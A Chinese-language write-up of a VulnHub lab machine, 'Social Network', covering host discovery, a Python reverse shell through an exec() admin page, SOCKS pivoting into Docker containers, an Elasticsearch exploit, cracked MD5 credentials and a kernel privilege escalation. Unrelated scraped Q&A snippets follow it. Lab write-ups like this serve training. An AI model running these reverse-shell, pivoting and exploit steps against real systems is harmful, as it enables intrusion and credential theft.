vulnhub靶场-SOCIAL NETWORK

2023-11-12

1、靶机信息

靶机名称:BOREDHACKERBLOG: SOCIAL NETWORK

靶机难度:中等

虚拟机环境:此靶机推荐使用Virtualbox搭建

目标:获取到root 权限

靶机地址:BoredHackerBlog: Social Network ~ VulnHub

kali服务器IP

192.168.2.151

靶机IP

192.168.2.152

2、主机发现

2.1 通过使用arp协议对同一网段的靶机进行主机发现,扫描出192.168.2.152为我们目标靶机

arp-scan -l

3、端口扫描

3.1 通过使用nmap工具对全端口进行发现,再进行版本扫描,我们发现开放22,5000两个端口

nmap -p- 192.168.2.152

nmap -sV -p 22,5000 192.168.2.152

4、Web信息收集

4.1 对5000端口Web服务进行访问,发现站点并不存在漏洞

4.2 按照惯例,我们使用dirsearch对其进行路径发现,找到一个admin目录

dirsearch -u http://192.168.2.152 -e *

4.3 页面提示我们什么都没运行,像exec()中输入一些代码

5、Python反弹shell

5.1 我们首先尝试进行反弹shell

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.151",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

5.2 发现直接拿到了root权限,但是此靶机介绍是一个中等难度,并且使用了Docker容器,我怀疑我们身处容器中

5.3 对环境进行验证,果不其然,我们拿到的是一个docker服务的root权限

5.4 使用ip add命令进一步验证了我们的猜想,地址为172.17.0.2,与我们访问的Web站点地址不同

5.5 我们在kali上搭建一个http服务,在docker上使用wget命令下载kali上的nmap服务

Kali:python3 -m http.server 80

靶机:wget http://192.168.2.151/nmap

nmap项目地址:static-binaries/nmap at master · andrew-d/static-binaries · GitHub

5.6 使用nmap对本地主机进行发现,找到其余两个存活容器

6、socks5流量代理

6.1 在确认了靶机初步环境后,我们需要使用socks代理,将kali上的流量路由到容器中,方便我们使用kali上的工具,在这里我们使用Venom工具,同样的,我们搭建一个http服务,方便容器下载工具

Venom项目地址:Release Venom v1.1.0 · Dliv3/Venom · GitHub

6.2 在docker上使用wget下载节点程序

6.3 在kali上我们运行控制端,运行admin节点,并设置监听端口9999

6.4 在docker上运行agent节点,并设置远端主机IP及端口

6.5 成功发起连接,我们启用socks代理,建立一个到docker节点的隧道

6.6 修改proxychains配置文件

vim /etc/proxychains4.conf

socks5 127.0.0.1 1080

6.7 使用nmap对我们发现的容器地址进行扫描,在0.1容器上发现22,5000端口,与我们3.1完全一致,这是个宿主机

proxychains nmap -sT -Pn 172.17.0.1

proxychains nmap -p 22,5000 -sV -sT -Pn 172.17.0.1

6.8 对0.3容器进行扫描,发现开放9200端口,服务为Elasticsearch,至此我们了解到,宿主机共存在两台容器,IP为172.17.0.2、172.17.0.3,0.2上面的5000端口映射到宿主机的5000端口,0.3并未进行映射。

proxychains nmap -sT -Pn 172.17.0.3

proxychains nmap -p 9200 -sV -sT -Pn 172.17.0.3

6.9 对Elasticsearch进行exp检索

searchsploit Elasticsearch

6.10 使用exp直接拿到0.3的root权限

proxychains python2 36337.py 172.17.0.3

6.11 在其根目录/下,我们发现一个passwords的文件,内容如下:

john:3f8184a7343664553fcb5337a3138814 
test:861f194e9d6118f3d942a72be3e51749
admin:670c3bbc209a18dde5446e5e6c1f1d5b
root:b3d34352fc26117979deabdf1b9b6354
jane:5c158b60ed97c723b673529b8a3cf72b

6.12 我们使用工具对MD5进行解密

john:1337hack

test:1234test

admin:1111pass

root:1234pass

jane:1234jane

7、本地提权

7.1 在尝试了所有的用户角色后,只有john用户可以进行登录,可以看到john是一个普通用户,且没有sudo权限

7.2 接下来我们尝试提权,首先查看内核版本为3.13

7.3 在kali上使用searchsploit进行检索,查看其内核可利用的exp

searchsploit linux 3.13

7.4 我们将c语言源码文件放到home目录下,方便我们调试

7.5 我们在目标靶机上尝试进行gcc编译,结果发现机器并没有安装

7.6 我们通过查看源代码,发现就算在kali本地编译成功,代码运行过程中还需要调用本地gcc环境,使用ofs-lib.c源码,对其编译执行生成ofs-lib.so的库文件,在这里我们直接修改代码,不让其继续编译,而是直接调用ofs-lib.so文件,我们把ofs-lib.so文件提前准备好

7.7我们对源代码进行修改,删除139-147行,对gcc编码及判断代码进行删除

7.8 对源码进行编译,生成exp文件

7.9 将ofs-lib.so库文件拷贝到home目录下

7.10 将文件传输到目标靶机,并赋予执行权限,执行程序,我们发现用户角色变成了root

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

vulnhub靶场-SOCIAL NETWORK 的相关文章

  • 错误:命令“c++”失败,退出状态为 1

    所以我尝试按照以下说明安装 Pyv8https andrewwilkinson wordpress com 2012 01 23 integrating python and javascript with pyv8 https andre
  • 如何在 Linux 中重新添加 unicode 字节顺序标记?

    我有一个相当大的 SQL 文件 它以 FFFE 的字节顺序标记开头 我使用 unicode 感知的 linux 分割工具将此文件分割成 100 000 行块 但是当将这些传递回窗口时 它确实not与第一个部分以外的任何部分一样 只是它具有
  • 无需 root 访问权限即可安装 zsh? [关闭]

    Closed 这个问题是无关 help closed questions 目前不接受答案 有可能 以及如何 我确实需要在几台具有 ssh 访问权限 但没有 root 访问权限 的远程计算机上使用此功能 下载 zsh wget O zsh t
  • 用于读取文件的 Bash 脚本

    不知道为什么最后一行没有从脚本中删除 bin bash FILENAME 1 while read line do cut d f2 echo line done lt FILENAME cat file 1 test 2 test 3 t
  • Python将文件从Linux复制到WIndows

    我正在构建一个网站 该网站有一个表单 可以捕获用户数据并在用户数据上运行一些cgi cgi 的第一步是需要将文件从 Linux Web 服务器复制到 Windows 计算机 服务器将使用 Active Directory 角色帐户作为复制凭
  • 裸机交叉编译器输入

    裸机交叉编译器的输入限制是什么 比如它不编译带有指针或 malloc 的程序 或者任何需要比底层硬件更多的东西 以及如何才能找到这些限制 我还想问 我为目标 mips 构建了一个交叉编译器 我需要使用这个交叉编译器创建一个 mips 可执行
  • 如何反汇编、修改然后重新组装 Linux 可执行文件?

    无论如何 这可以做到吗 我使用过 objdump 但它不会产生我所知道的任何汇编器都可以接受的汇编输出 我希望能够更改可执行文件中的指令 然后对其进行测试 我认为没有任何可靠的方法可以做到这一点 机器代码格式非常复杂 比汇编文件还要复杂 实
  • SMP 上如何处理中断?

    SMP 对称多处理器 多核 机器上如何处理中断 内存管理单元是只有一个还是多个 假设两个线程 A 和 B 运行在不同的内核上 同时 访问页表中不存在的内存页面 在这种情况下 将会出现页面错误 并从内存中引入新页面 将会发生的事件的顺序是什么
  • 完整的 C++ i18n gettext()“hello world”示例

    我正在寻找完整的 i18ngettext 你好世界的例子 我已经开始了一个基于的脚本使用 GNU gettext 的本机语言支持教程 https web archive org web 20130330233819 http oriya s
  • 如何将 elf 解释器(ld-linux.so.2/ld-2.17.so)构建为静态库?

    如果我的问题不准确 我深表歉意 因为我没有太多 Linux 相关经验 我目前正在构建一个 Linux 从头开始 主要遵循 linuxfromscratch org 版本的指南 7 3 我遇到了以下问题 当我构建可执行文件时 获取一个称为 E
  • 用于时间线数据的类似 gnuplot 的程序

    我正在寻找一个类似 gnuplot用于在时间轴中绘制数据图表的程序 类似 gnuplot 在 Linux 上运行 命令行功能 GUI 对我帮助不大 可编写脚本的语法 输出为 jpg png svg 或 gif 输出应该是这样的 set5 s
  • pthread_self() 返回的线程 ID 与调用 gettid(2) 返回的内核线程 ID 不同

    这句话来自于pthread self 的手册页 http linux die net man 3 pthread self 那么 我应该根据什么来决定是否应该使用pthread self or gettid确定哪个线程正在运行该函数 两者都
  • aarch64 Linux 硬浮点或软浮点

    linux系统有arm64 有arm架构armv8 a 如何知道 Debian 运行的是硬浮动还是软浮动 符合 AAPCS64 GNU GCC for armv8仅提供硬浮动aarch64工具链 这与 armv7 a 的 GCC 不同 后者
  • 亚马逊 Linux - 安装 openjdk-debuginfo?

    我试图使用jstack在 ec2 实例上amazon linux 所以我安装了openjdk devel包裹 sudo yum install java 1 7 0 openjdk devel x86 64 但是 jstack 引发了异常j
  • 由于 abi::cxx11 符号导致的链接问题?

    我们最近收到一份报告 因为GCC 5 1 libstdc 和双 ABI http gcc gnu org onlinedocs libstdc manual using dual abi html 它似乎Clang 不知道 GCC 内联名称
  • 如何指定配置脚本的包含目录

    我的工作场所有一个 Linux 系统 其中包含相当旧的软件包 并且没有 root 访问权限 我正在从源代码编译我需要的包 prefix somewhere in homedir 我的问题是我只是不知道如何说服配置在特定目录中查找头文件 源码
  • 如何通过不同的接口路由 TCP/IP 响应?

    我有两台机器 每台机器都有两个有效的网络接口 一个以太网接口eth0和 tun tap 接口gr0 目标是使用接口在机器 A 上启动 TCP 连接gr0但然后让机器 B 的响应 ACK 等 通过以太网接口返回 eth0 因此 机器 A 发出
  • 如果输入被重定向则执行操作

    我想知道如果我的输入被重定向 我应该如何在 C 程序中执行操作 例如 假设我有已编译的程序 prog 并且我将输入 input txt 重定向到它 我这样做 prog lt input txt 我如何在代码中检测到这一点 一般来说 您无法判
  • Java时区混乱

    我正在运行 Tomcat 应用程序 并且需要显示一些时间值 不幸的是 时间快到了 还有一个小时的休息时间 我调查了一下 发现我的默认时区被设置为 sun util calendar ZoneInfo id GMT 08 00 offset
  • 如何在 bash_profile 文件中添加导出语句?

    我正在尝试了解是否必须添加导出语句来在 bash profile 文件中设置变量 我该怎么做呢 例如 如果我必须添加 export AX name 那么我应该将其简单地写在文件末尾还是我还需要编写其他内容 简单写一下export AS na

随机推荐

  • Android Make Update-api 方法

    目录 SOC Rk3288Android Version 8 1 SOC Rk3566Android Version 11 SOC Rk3288 Android Version 8 1 众所周知 当修改到framework变量时 需要mak
  • 可视化图表种类不清楚?这两个宝藏参考网址推荐给你~~

    我是小z 不少读者会问 有啥介绍可视化类型的学习和参考资料 我平时在绘制可视化作品时 也会对种类繁多的可视化图表选择和系统绘制无从下手 今天 就推荐平时自己参考的可视化表种类网站 帮你熟悉和完善图表类型 内容如下 Chart Guide d
  • Ubuntu常用的有3种进入终端(terminal)界面方法

    Ubuntu常用的有3种进入终端 terminal 界面方法 分别如下 按快捷键 Ctrl Alt T 即可打开终端窗口 或者按 Ctrl Alt F1 F6 均可进入终端 模拟终端 不显示桌面 直接搜索 终端 并进入 注意事项 如果采用方
  • Java 校验规则

    import java util regex Matcher import java util regex Pattern import static jodd util StringUtil isEmpty 数据校验 author lf
  • SPI菊花链原理和配置

    一 概述 在一个主机和多个从器件的典型 SPI 系统中 通常采用专门的片选信号来寻址从器件 随着从器件数量不断增加 片选线也随之增多 这种情况将给电路板布板带来很大的挑战 一个布板方法就是采用菊链结构 本文详细讲述了 SPI 系统的菊链配置
  • Python的优点和缺点

    Python的优点 1 简单 Python的语法非常优雅 甚至没有像其他语言的大括号 分号等特殊符号 代表了一种极简主义的设计思想 阅读Python程序像是在读英语 2 易学 Python入手非常快 学习曲线非常低 可以直接通过命令行交互环
  • python爬虫学习笔记-M3U8流视频数据爬虫

    M3U8流视频数据爬虫 HLS技术介绍 现在大部分视频客户端都采用HTTP Live Streaming 而不是直接播放MP4等视频文件 HLS Apple为了提高流播效率开发的技术 HLS技术的特点是将流媒体切分为若干 TS片段 比如几秒
  • Sqli-labs通关手册【1-30关】

    1 sql注入的原理 1 sql注入的原因 语言分类 解释型语言和编译型语言 解释型语言是一种在运行时由一个运行时组件解释语言代码并执行其中包含的指令的语言 而编译型语言是代码在生成时转换为机器指令 然后在运行时直接由使用该语言的计算机执行
  • Hadoop中的契约监控机制,被惊艳到了

    V xin ruyuanhadeng获得600 页原创精品文章汇总PDF 目录 一 前情概要 二 背景引入 三 问题凸现 四 Hadoop的优化方案 一 前情概要 这篇文章给大家聊聊Hadoop在部署了大规模的集群场景下 大量客户端并发写数
  • 应用存储和持久化数据卷:存储快照与拓扑调度(至天)

    本文将主要分享以下两方面的内容 存储快照概念 使用与工作原理 存储拓扑调度背景 概念 使用与工作原理 基本知识 存储快照产生背景 在使用存储时 为了提高数据操作的容错性 我们通常有需要对线上数据进行snapshot 以及能快速restore
  • 【资源】小程序项目源码、项目图片素材、全栈课程、项目效果图、小程序mpvue项目实例等资源大全

    1 微信小程序源码地址链接 https pan baidu com s 1P9ISKk9YjSHbFCIqfCM pQ 提取码 g8c3 2 130个微信小程序源码地址链接 https pan baidu com s 1Hiq 6IVvzD
  • CSDN竞赛第56期题解

    CSDN竞赛第56期题解 1 题目名称 因数 数字游戏 小Q的柠檬汁做完了 掏出了自己的数字卡牌 想要和别人做数字游戏 可是她又不想要输掉游戏 她制定好规则 每 次每个人只能把这个牌换成它的因子的某个牌 但是这个因子不能是1或者整数本身 现
  • win10更新后,wsappx占用高内存/资源管理器占用CPU高

    目录 问题记录 搜索与实践 最终解决办法 系统还原 新问题 设置搜索不能用 问题记录 2022 7 26晚 没注意点击了 关机并更新 有个intel驱动更新 不确定是否是驱动问题 第二天开机各种问题 wsappx占用大量内运存 电脑卡死 重
  • 利用SQLite数据库进行用户名、密码的注册和登录验证

    利用SQLite数据库进行存储用户名 密码等等其他信息 首先是activity main布局界面
  • Java线程池没用好,我不小心把系统搞崩了!

    V xin ruyuanhadeng获得600 页原创精品文章汇总PDF 目录 背景介绍 线程池的基本工作原理 线程池高并发场景下问题剖析 线程池高并发场景下性能优化 总结 背景介绍 大家好 今天给大家讲一个比较偏硬核技术类的知识 就是 J
  • 怎么提高编程能力?逻辑思维能力?

    一 对于程序员的编程能力的提升 学习一门简单而且可用性强的语言 写点自动签到 自动下动漫之类的日常小程序 提高编程兴趣 比如 python 可以选择教材 Learn Python The Hard Way 学习常见的算法和数据结构 根据个人
  • AOF 复写

    AOF 复写 上一篇博客我们提到AOF持久化有一个缺点是 aof持久化的文件会越来越大 导致redis因为某个原因重启时需要加载的aof文件会非常大 加载的很缓慢 针对这一缺点就引入了AOF复写 什么时AOF复写 Redis 为了避免 AO
  • 基于java+springboot+mybatis+vue+elementui的高校学习用品购物平台

    项目介绍 近年来 随着信息技术的高速发展和现代网络技术的完善 电子商务日益受到人们的重视 发展成为一种新兴商务模式 高校学习用品购物平台是电子商务的一项重要内容 高校学习用品购物平台的出现 使得学生购物变得更轻松 快捷 方便 满足了广大师生
  • Linux快速安装MySQL

    文章目录 Linux上安装MySQL 1 安装MySQL 1 上传MySQL安装包以及MySQL驱动jar包 2 解压MySQL安装包 3 卸载系统自带的mariadb 4 安装MySQL依赖 5 安装mysql client 6 安装my
  • vulnhub靶场-SOCIAL NETWORK

    1 靶机信息 靶机名称 BOREDHACKERBLOG SOCIAL NETWORK 靶机难度 中等 虚拟机环境 此靶机推荐使用Virtualbox搭建 目标 获取到root 权限 靶机地址 BoredHackerBlog Social N